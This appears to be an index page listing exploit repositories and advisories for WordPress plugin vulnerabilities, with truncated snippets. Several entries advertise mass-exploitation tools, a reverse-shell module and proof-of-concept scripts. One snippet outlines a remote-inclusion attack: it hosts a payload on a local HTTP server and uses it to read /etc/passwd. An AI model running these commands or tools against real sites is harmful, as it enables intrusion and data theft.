MSAPer

MSAPer | CVE-2023-3076 - MStore API Automatic Mass Tool for check and exploiting vulnerability in CVE-2023-3076 - MStore API install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh How To Use Make sure you already install Parallel! Then do: git clone...

CVE-2021-24155.rb

WordPress-Backup-RCE This Metasploit module allows an attacker with a privileged WordPress account to launch a reverse shell due to an arbitrary file upload vulnerability in Wordpress plugin Backup Guard versions prior to 1.6.0. This is due to an incorrect check of the uploaded file extension whi...

WordPress ACPT (Premium) plugin <= 2.0.66 - Authenticated (Subscriber+) Remote Code Execution vulnerability

Authenticated Subscriber+ Remote Code Execution vulnerability discovered by d.v4ns3c in WordPress Plugin ACPT Pro - Custom Post Types Plugin for WordPress versions = 2.0.66...

CVE-2023-1405

CVE-2023-1405 Formidable Forms = 6.1.2 - Unauthenticated PHP Object Injection Description: The Formidable Forms plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 6.1.2 via deserialization of untrusted input from form submissions. This allows...

WordPress Post SMTP – Complete Email Delivery and SMTP Solution with Email Logs, Alerts, Backup SMTP & Mobile App plugin <= 4.0.1 - Unauthenticated Stored DOM-Based Cross-Site Scripting vulnerability

Unauthenticated Stored DOM-Based Cross-Site Scripting vulnerability discovered by Adrien Brunner in WordPress Plugin Post SMTP versions = 4.0.1...

CVE-2022-0739

CVE-2022-0739 Proof-of-Concept exploit SQLI BookingPress before 1.0.11 Usage Supply the URL to where the Booking Press plugin is in use on the application. bash exploit.sh '' e.g. Hashes are redacted in this demo ┌──user@user-/ └─$ bash sqliexploit.sh 'http://localhost/calendar/' / / / / \ / / /...

CVE-2024-25600

TG Join Us https://t.me/WanLiChangChengWanLiChang Join us to regularly receive various vulnerability EXP POC CVE-2024-25600 Exploit WordPress plugin Bricks Builder has RCE vulnerability CVE-2024-25600 WordPress plugin Bricks Builder RCE vulnerability CVE-2024-25600 exploit script, multi-POC hybri...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - Arbitrary File Upload Exploit CVE-2024-56264 Overview This repository contains an exploit for CVE-2024-56264 , which is an Arbitrary File Upload vulnerability found in the WordPress ACF City Selector plugin versions = 1.14.0. This vulnerability allows ...

TypeHub-Exploiter

TypeHub Exploiter This script exploits a vulnerability CVE-2021-25094 in the TypeHub WordPress plugin...

CVE-2020-35590

익스플로잇 정보 익스플로잇 제목: WordPress 플러그인 Limit Login Attempts Reloaded 2.13.0 - 로그인 제한 우회 CVE: CVE-2020-35590 날짜: 2020-06-09 익스플로잇 작성자: N4nj0 소프트웨어 링크: https://wordpress.org/plugins/limit-login-attempts-reloaded/ 버전: 2.13.0 테스트 환경: WordPress 5.4.1, 5.4.2 취약점 권고:...

CVE-2026-12277

CVE-2026-12277 Frontend File Manager Plugin WordPress = 23.6 - 인증되지 않은 임의 파일 삭제를 통한 RCE 요약 필드| 값 ---|--- CVE| CVE-2026-12277 플러그인| Frontend File Manager Plugin nmedia-user-file-uploader 영향을 받는 버전| = 23.6 유형| 인증되지 않은 임의 파일 삭제 CVSS| 8.7 높음 CWE| CWE-73 파일 이름 또는 경로의 외부 통제 전제 조건| 게스트 업로드 모드 활성화 패치| 없음...

CVE-2026-97303 WordPress Scratch & Win – Giveaways and Contests plugin <= 3.0.2 - Broken Access Control vulnerability

Missing Authorization vulnerability in Apps Mav Scratch & Win – Giveaways and Contests scratch-win-giveaways-for-website-facebook allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Scratch & Win – Giveaways and Contests: from n/a through 3.0.2...

CVE-2026-97303

The Scratch & Win – Giveaways and Contests WordPress plugin (versions

EUVD-2026-92586

Authorization Bypass Through User-Controlled Key vulnerability in Themeisle AI Chatbot for WordPress – Hyve Lite hyve-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AI Chatbot for WordPress – Hyve Lite: from n/a through 2.0.2...

CVE-2026-97305 WordPress AI Chatbot for WordPress – Hyve Lite plugin <= 2.0.2 - Insecure Direct Object References (IDOR) vulnerability

Authorization Bypass Through User-Controlled Key vulnerability in Themeisle AI Chatbot for WordPress – Hyve Lite hyve-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects AI Chatbot for WordPress – Hyve Lite: from n/a through 2.0.2...

CVE-2026-97305

The Themeisle AI Chatbot for WordPress – Hyve Lite plugin (versions

CVE-2026-97304

The Arraytics Timetics WordPress plugin (versions

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE system'cat /etc/passwd' ✅ 2단계 – Python HTTP 서버 시작 Python을 사용하여 페이로드를 제공합니다: python3 -m http.server 8000 그러면 payload.txt에 다음 주소로 접근할 수 있습니다: http://:8000/payload.txt ✅ 3단계 – 익스플로잇 실행 python3 CVE-2019-9978.py --target http:///wordpress \ --payload-u...

CVE-2022-0441

MasterStudy LMS 플러그인 2.7.5 이하 버전에서 WordPress WordPress 플러그인에 치명적인 취약점이 발견되었습니다. 이 취약점은 New Account Handler 구성 요소의 알 수 없는 부분에 영향을 미칩니다. 알 수 없는 입력을 통한 조작으로 인해 권한 관리 취약점이 발생합니다. 취약점의 CWE 정의는 CWE-269입니다. 소프트웨어가 액터에 대한 권한을 올바르게 할당, 수정, 추적 또는 확인하지 않아 해당 액터에 대한 의도하지 않은 제어 영역이 생성됩니다. 이 영향으로 기밀성, 무결성 및 가용...

typehub-exploiter

typehub-exploiter GILANG - Exploiter for CVE-2021-25094 referrence : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ payload : site.com/wp-admin/admin-ajax.php bug path : site.com/wp-content/uploads/typehub/custom/ Thanks to : Ibnudz, Dark clown security greetz : Garuda...